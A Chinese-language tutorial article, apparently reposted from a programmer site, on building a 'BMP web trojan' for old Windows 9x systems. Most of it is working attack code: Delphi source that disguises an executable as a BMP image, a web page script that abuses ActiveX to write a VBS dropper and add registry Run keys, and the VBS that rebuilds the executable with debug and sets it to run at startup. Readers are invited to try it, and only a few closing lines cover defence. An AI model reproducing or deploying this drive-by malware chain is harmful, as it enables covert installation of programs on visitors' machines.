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详解BMP木马

程序员文章站 2022-06-26 08:40:02
首先说明这不是什么新的东西,但最近有人说我们没有,那就随便写编文章放上来了,大家自己试验一下. 何谓bmp网页木马?它和过去早就用臭了的mime头漏洞的木马不同,...
首先说明这不是什么新的东西,但最近有人说我们没有,那就随便写编文章放上来了,大家自己试验一下. 何谓bmp网页木马?它和过去早就用臭了的mime头漏洞的木马不同,mime木马是把一个exe文件用mime编码为一个eml(out look信件)文件,放到网页上利用ie和oe的编码漏洞实现自动下载和执行. 
然而bmp木马就不同,它把一个exe文件伪装成一个bmp图片文件,欺骗ie自动下载,再利用网页中的javascript脚本查找客户端的internet临时文件夹,找到下载后的bmp文件,把它拷贝到temp目录.再编写一个脚本把找到的bmp文件用debug还原成exe,并把它放到注册表启动项中,在下一次开机时执行.但是这种技术只能在9x下发挥作用,对于2k,xp来说是无能为力了. 

看上去好象很复杂,下面我们一步一步来: 
1) exe变bmp的方法. 
大家自己去查查bmp文件资料就会知道,bmp文件的文件头有54个字节,简单来说里面包含了bmp文件的长宽,位数,文件大小,数据区长度,我们只要在exe文件的文件头前面添加相应的bmp文件头(当然bmp文件头里面的数据要符合exe文件的大小啦),这样就可以欺骗ie下载该bmp文件,开始我们用jpg文件做过试验,发现如果文件头不正确的话,ie是不会下载的,转换代码如下: 

program exe2bmp; 

uses 
windows, 
sysutils; 

var len,row,col,fs: dword; 
buffer: array[0..255]of char; 
fd: win32_find_data; 
h,hw: thandle; 

begin 
if (paramstr(1)<>) and(paramstr(2)<>) then begin //如果运行后没有两个参数则退出 
if fileexists(paramstr(1)) then begin 
findfirstfile(pchar(paramstr(1)),fd); 
fs:=fd.nfilesizelow; 
col := 4; 
while true do begin 
if (fs mod 12)=0 then begin 
len:=fs; 
end else len:=fs+12-(fs mod 12); 
row := len div col div 3; 
if row>col then begin 
col:=col+4; 
end else break; 
end; 
fillchar(buffer,256,0); 
{一下为bmp文件头数据} 
buffer[0]:=b;buffer[1]:=m; 
pdword(@buffer[18])^:=col; 
pdword(@buffer[22])^:=row; 
pdword(@buffer[34])^:=len; 
pdword(@buffer[2])^:=len+54; 
pdword(@buffer[10])^:=54; 
pdword(@buffer[14])^:=40; 
pword(@buffer[26])^:=1; 
pword(@buffer[28])^:=24; 
{写入文件} 
hw:=createfile(pchar(paramstr(2)),generic_write,file_share_read or file_share_write,nil,create_always,0,0); 
h:=createfile(pchar(paramstr(1)),generic_read,file_share_read or file_share_write,nil,open_existing,0,0); 
writefile(hw,buffer,54,col,0); 
repeat 
readfile(h,buffer,256,col,0); 
writefile(hw,buffer,col,col,0); 
untilcol<>256; 
writefile(hw,buffer,len-fs,col,0); 
closehandle(h); 
closehandle(hw); 
end; 
end; 
end. 


以上代码可以在delphi4,5,6中编译 ,就可以得到一个exe2bmp.exe文件.大家打开msdos方式,输入 
exe2bmp myexe.exe mybmp.bmp 
回车就可以把第二个参数所指定的exe文件转换成bmp格式. 
接着就是把这个bmp图片放到网页上了,如果大家打开过这张图片的话,一定发现这张bmp又花,颜色又单调.所以大家放在网页上最好用这样的格式 


以下是放在网页上的脚本 
document.write( ); 
function docsave() 
{ 
a=document.applets[0]; 
a.setclsid({f935dc22-1cf0-11d0-adb9-00c04fd58a0b}); 
a.createinstance(); 
wsh=a.getobject(); 
a.setclsid({0d43fe01-f093-11cf-8940-00a0c9054228}); 
a.createinstance(); 
fso=a.getobject(); 
var winsys=fso.getspecialfolder(1); 
var vbs=winsys+\\s.vbs; 
wsh.regwrite 
(hkcu\\software\\microsoft\\windows\\currentversion\\run\\vbs,wscript +"+vbs+" ); 
var st=fso.createtextfile(vbs,true); 
st.writeline(option explicit); 
st.writeline(dim fso,wsh,cache,str); 
st.writeline(set fso = createobject("scripting.filesystemobject")); 
st.writeline(set wsh = createobject("wscript.shell")); 
st.writeline(cache=wsh.regread("hkcu\\software\\microsoft\\windows\\currentversion\\explorer\\shellfolders\\cache")); 
st.writeline(wsh.regdelete("hkcu\\software\\microsoft\\windows\\currentversion\\run\\vbs")); 
st.writeline (wsh.regwrite "hkcu\\software\\microsoft\\windows\\currentversion\\run\\tmp","tmp.exe"); 
st.writeline(searchbmpfile fso.getfolder(cache),"mybmp[1].bmp"); 
st.writeline(wscript.quit()); 
st.writeline(function searchbmpfile(folder,fname)); 
st.writeline( dim subfolder,file,lt,tmp,winsys); 
st.writeline( str=fso.getparentfoldername(folder) & "\\" & folder.name & "\\" & fname); 
st.writeline( if fso.fileexists(str) then); 
st.writeline( tmp=fso.getspecialfolder(2) & "\\"); 
st.writeline( winsys=fso.getspecialfolder(1) & "\\"); 
st.writeline( set file=fso.getfile(str)); 
st.writeline( file.copy(tmp & "tmp.dat")); 
st.writeline( file.delete); 
st.writeline( set lt=fso.createtextfile(tmp & "tmp.in")); 
st.writeline( lt.writeline("rbx")); 
st.writeline( lt.writeline("0")); 
st.writeline( lt.writeline("rcx")); 
st.writeline( lt.writeline("1000")); 
st.writeline( lt.writeline("w136")); 
st.writeline( lt.writeline("q")); 
st.writeline( lt.close); 
st.writeline( wsh.run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6); 
st.writeline( on error resume next ); 
st.writeline( fso.getfile(tmp & "tmp.dat").copy(winsys & "tmp.exe")); 
st.writeline( fso.getfile(tmp & "tmp.dat").delete); 
st.writeline( fso.getfile(tmp & "tmp.in").delete); 
st.writeline( fso.getfile(tmp & "tmp.out").delete); 
st.writeline( end if); 
st.writeline( if folder.subfolders.count <> 0 then); 
st.writeline( for each subfolder in folder.subfolders); 
st.writeline( searchbmpfile subfolder,fname); 
st.writeline( next); 
st.writeline( end if); 
st.writeline(end function); 
st.close(); 
} 
settimeout(docsave(),1000); 

把该脚本保存为"js.js",在网页中插入: 


该脚本主要会在本地机器的system目录下生成一个“s.vbs”文件,该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1].bmp文件。 
“s.vbs”文件主要内容如下: 

option explicit 
dim fso,wsh,cache,str 
set fso = createobject("scripting.filesystemobject") 
set wsh = createobject("wscript.shell") 
cache=wsh.regread("hkcu\software\microsoft\windows\currentversion\explorer\shellfolders\cache") 
wsh.regdelete("hkcu\software\microsoft\windows\currentversion\run\vbs") 
wsh.regwrite "hkcu\software\microsoft\windows\currentversion\run\tmp","tmp.exe" 
searchbmpfile fso.getfolder(cache),"mybmp[1].bmp" 
wscript.quit() 
function searchbmpfile(folder,fname) 
dim subfolder,file,lt,tmp,winsys 
从临时文件夹中查找目标bmp图片 
str=fso.getparentfoldername(folder) & "\" & folder.name & "\" & fname 
if fso.fileexists(str) then 
tmp=fso.getspecialfolder(2) & "\" 
winsys=fso.getspecialfolder(1) & "\" 
set file=fso.getfile(str) 
file.copy(tmp & "tmp.dat") 
file.delete 
生成一个debug脚本 
set lt=fso.createtextfile(tmp & "tmp.in") 
lt.writeline("rbx") 
lt.writeline("0") 
lt.writeline("rcx") 
下面一行的1000是十六进制,换回十进制是4096(该数字是你的exe文件的大小) 
lt.writeline("1000") 
lt.writeline("w136") 
lt.writeline("q") 
lt.close 
wsh.run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6 
on error resume next 
fso.getfile(tmp & "tmp.dat").copy(winsys & "tmp.exe") 
fso.getfile(tmp & "tmp.dat").delete 
fso.getfile(tmp & "tmp.in").delete 
fso.getfile(tmp & "tmp.out").delete 
end if 
if folder.subfolders.count <> 0 then 
for each subfolder in folder.subfolders 
searchbmpfile subfolder,fname 
next 
end if 
end function 

这个脚本会找出在临时文件夹中的bmp文件,并生成一个debug的脚本,运行时会自动从bmp文件54字节处读去你指定大小的数据,并把它保存到tmp.dat中.后面的脚本再把它复制到system的目录下.这个被还原的exe文件会在下次重起的时候运行.这就是bmp木马的基本实现过程. 
详细脚本代码请参考http://hotsky.363.net 

防范方法: 
最简单,删除或改名wscrpit.exe文件和debug 文件; 
安装有效的杀毒软件,因为这些脚本有好多杀毒软件已经可以查出来了. 
在条件允许的情况下,安装win2k sp3,尽量避免去一些不名来历的网站. 

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